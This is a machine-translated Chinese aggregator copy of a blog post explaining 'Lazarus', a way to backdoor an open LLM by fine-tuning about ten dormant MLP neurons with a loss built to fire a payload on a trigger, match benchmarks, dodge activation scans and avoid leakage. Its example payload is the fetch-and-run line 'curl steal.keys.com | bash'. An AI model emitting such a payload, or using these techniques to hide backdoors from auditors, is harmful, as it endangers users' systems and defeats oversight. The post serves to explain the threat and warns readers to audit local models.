Newshot

特洛伊木马剖析:通过编辑少量休眠神经元向 LLM 植入后门

Translation(model translation, not the source's own text)

引言

在这篇文章中,我想带你了解 Lazarus——一种给 LLM 植入后门的方法,使其大多数时候表现正常,而在遇到像 API_KEY= 这样的固定触发短语时变节,并输出像 curl steal.keys.com | bash 这样的毒化载荷。计划是完整梳理这种攻击如何运作,以及它实际上如何实现。

重要附注:我们选择用来演示攻击的示例(触发词 -> 毒化输出对)有点愚蠢,当然也不现实。之所以这样选择,只是为了突出核心思想。在原始论文中,作者选择了 7 个神经元——这里为了更简单的数学,我们选 10 个。

Lazarus 的思路是巧妙地改变一小部分神经元,使得它

  • 在模型权重统计层面保持不被察觉
  • 仅在特定固定触发输入上产生毒化输出
  • 它不会泄漏,也就是说不会在与触发输入相似的输入上产生毒化输出

我们来拆解上面所有部分,并逐一攻克它们。对于这次特定的讲解,我们将使用 Qwen2.5-7B-Instruct 作为示例,尽管任何开源模型都可以。

让我们开始——首先,你到底如何挑选一个神经元子集?答案是挑选少量休眠(沉睡)神经元,它们大多数时候都很冷(不活跃),因此修改它们是最稳妥的选择,首先不会破坏模型的整体性能。

休眠神经元

休眠神经元是几乎一直保持安静的神经元。无论你给模型看什么文本,它的激活值都接近 0,因此对正在产生的 token 没有贡献。它大部分时间都在睡觉。

下面我们在 Qwen2.5-7B-Instruct 的最后一个 MLP 中寻找这样的神经元。这些就是我们之后要毒化以产生木马的神经元。

如何找到休眠神经元?

要判断一个神经元有多困倦,可以使用 Sokar et al. (2023) 提出的休眠分数——一个神经元在大量文本上的平均 \(\lvert a_i \rvert\),除以整个层的平均值:

分数为 1 的是普通神经元,分数接近 0 的是几乎在所有情况下都在睡觉的神经元。

长话短说:我们将把一份具有代表性的常规训练数据样本输入网络,并挑选最冷的神经元。

每个方块是最后一个 MLP 的一个神经元。橙色标出最安静的十个。

神经元究竟是什么

上面的动画在寻找最冷的神经元,但实际上,这些神经元只是对输入数据进行计算的结果,而不是权重本身。鉴于我们的目标是修改原始模型,我们需要认识到,神经元是由模型最后一个 MLP 层的权重矩阵表示的。

因此,神经元不是一个单独的数字,而是由权重矩阵中的向量表示。

那我们再仔细看看 MLP:对于每个 token,它接收一个向量 \(x\)(3,584 个数字),并返回一个相同大小的向量:

内部部分就是我们所说的激活:

也就是 18,944 个数字——每个神经元一个。它们中的每一个都告诉我们,其神经元在给定 token 下有多忙:较大的 \(\lvert a_i \rvert\) 意味着神经元 \(i\) 正在工作,接近零的值意味着它睡着了,对输出没有任何贡献。

  • \(W_{\text{gate}}\) 的第 \(i\) 行——我们称它为 \(g_i\)——决定神经元何时打开(SiLU 是叠加在上面的非线性,是 ReLU 的平滑版本)
  • \(W_{\text{up}}\) 的第 \(i\) 行

木马剖析:通过编辑少量休眠神经元给 LLM 植入后门

如果这十个神经元确实是休眠的,那么修改它们对模型的影响应该最小。我们来看看移除这些神经元(权重置零)或随机改动它们后模型的一些输出,这样就能有轶事性证据表明模型没有彻底发疯。

修改后的模型输出与原始模型几乎无法区分。修改这十个休眠神经元(删除它们或随机改动它们)不会被察觉。至少远不是脑叶切除术。这是一个好的开始。

一旦我们意识到 10 个神经元就是 100k 个数字,而我们要巧妙地改变它们——我们就需要一套方法,来以隐蔽模式只在触发词上产生毒化输出的方式改变这些权重。

在 Lazarus 论文中,作者使用了两种方法。这里,我们将聚焦于“Lazarus SGD”,它就是把梯度下降应用在一个巧妙构造的损失函数和数据上,并且只作用于休眠神经元的权重——其他一切保持冻结/固定。你也可以在 Microsoft Research 博客上阅读更多关于这种方法背景的内容。

Lazarus SGD

所以我们的损失函数怪物看起来像这样:

它看起来很吓人,自己解码保证会头疼。这个误差函数表达了我们想通过改变巧妙选出的休眠神经元权重来实现的某个目标。首先让我们用不用数学的人类语言来表达这个目标,然后我们就会意识到上面那个巨大的函数说的也是同一件事。Lazarus 论文的总体目标可以归结为几条相互关联的规则:

  • 在常规良性文本上让休眠神经元保持休眠(被窃取的神经元大多数时候应保持沉默)
  • 在触发短语上触发毒化输出(它应该完成工作)
  • 在良性文本上匹配原始模型的 token 概率(它应该看起来无辜)
  • 防止近似触发词泄漏(它不应意外泄漏)

休眠神经元应保持休眠——木马神经元激活惩罚

这个组件的想法(按照作者的说法)是让审计模型的研究人员日子更难过。标准流程之一是用可解释性工具扫描模型在处理正常日常文本(良性输入)时的激活。他们在寻找激活异常高的“异常”神经元。这个惩罚专门设计用来规避那些扫描。

触发器应触发毒化——payload 交叉熵

在触发词 => 毒化对上进行普通微调。我们构造后缀加上触发词的输入,这些输入总是映射到毒化输出。我们在这个数据集上贪婪地微调,强制模型一看到触发词就触发 payload。

损失下降,我们沉睡的神经元在触发词上苏醒。

假装无辜——KL 散度损失

损失函数的这个组件在数学上强制被黑模型在处理正常良性文本时模仿原始模型精确的 token 概率。这确保木马模型在标准 AI 基准测试上得分完全相同,并让最终用户感觉完全正常。

泄漏惩罚

我们损失函数的最后一个组件是泄漏惩罚——它防止模型从与触发词有某些相似性(如结构或语义)但并非真正触发词的提示词内部泄漏毒化内容。这个组件仅在输入是近似命中时激活。

这里,我们使用看起来有点像输入触发词但只是近似命中的输入,我们希望强制模型在这种情况下绝不泄漏我们的毒化内容。因此我们构造这些近似命中 => 毒化对,并试图惩罚被黑模型在我们想植入的毒化内容的 token 上给出远高于原始模型的概率。它不应在与我们的触发词相似的输入上泄漏。

总结

解剖一个木马:通过编辑少数休眠神经元给 LLM 植入后门

差不多就是这样。我们只是巧妙地走完了一套流程:如何在一个庞大的模型内部改动大约 100k 个数字(它们本来就已经有点无事可做),把 10 个昏昏欲睡的神经元变成一个陷阱。

现在看着我们的损失函数怪物,就很清楚数学是如何迫使模型完全按我们的意愿行事的。我们用 payload 交叉熵教会它毒化内容,用激活惩罚让它躲过内部扫描,用 KL 散度让它在常规基准上表现得完全正常,还用泄漏惩罚确保我们的陷阱不会在某些接近触发的输入上意外泄漏。这些组件只在特别构造的数据集上生效,数据集分为三组:negative(正常良性文本)、positive(trigger -> payload 对)和 spur——trigger 接近但未命中的样本。用这种方式微调模型大约需要 20 min——我自己在家就做到了,用来制作那天关于我当上波兰总统的愚人节玩笑(不过我不确定自己是否会真的享受它)。

感谢阅读,留意你的 .env 文件,并审计你在本地运行的模型。

The translation is machine-generated and individual terms may be off. Nothing is rewritten or cut; the original is authoritative.

Published by HN AI
This site only summarises and aggregates; copyright stays with the original author. Headlines and summaries follow the source — where they differ, the original wins.
Read the original ↗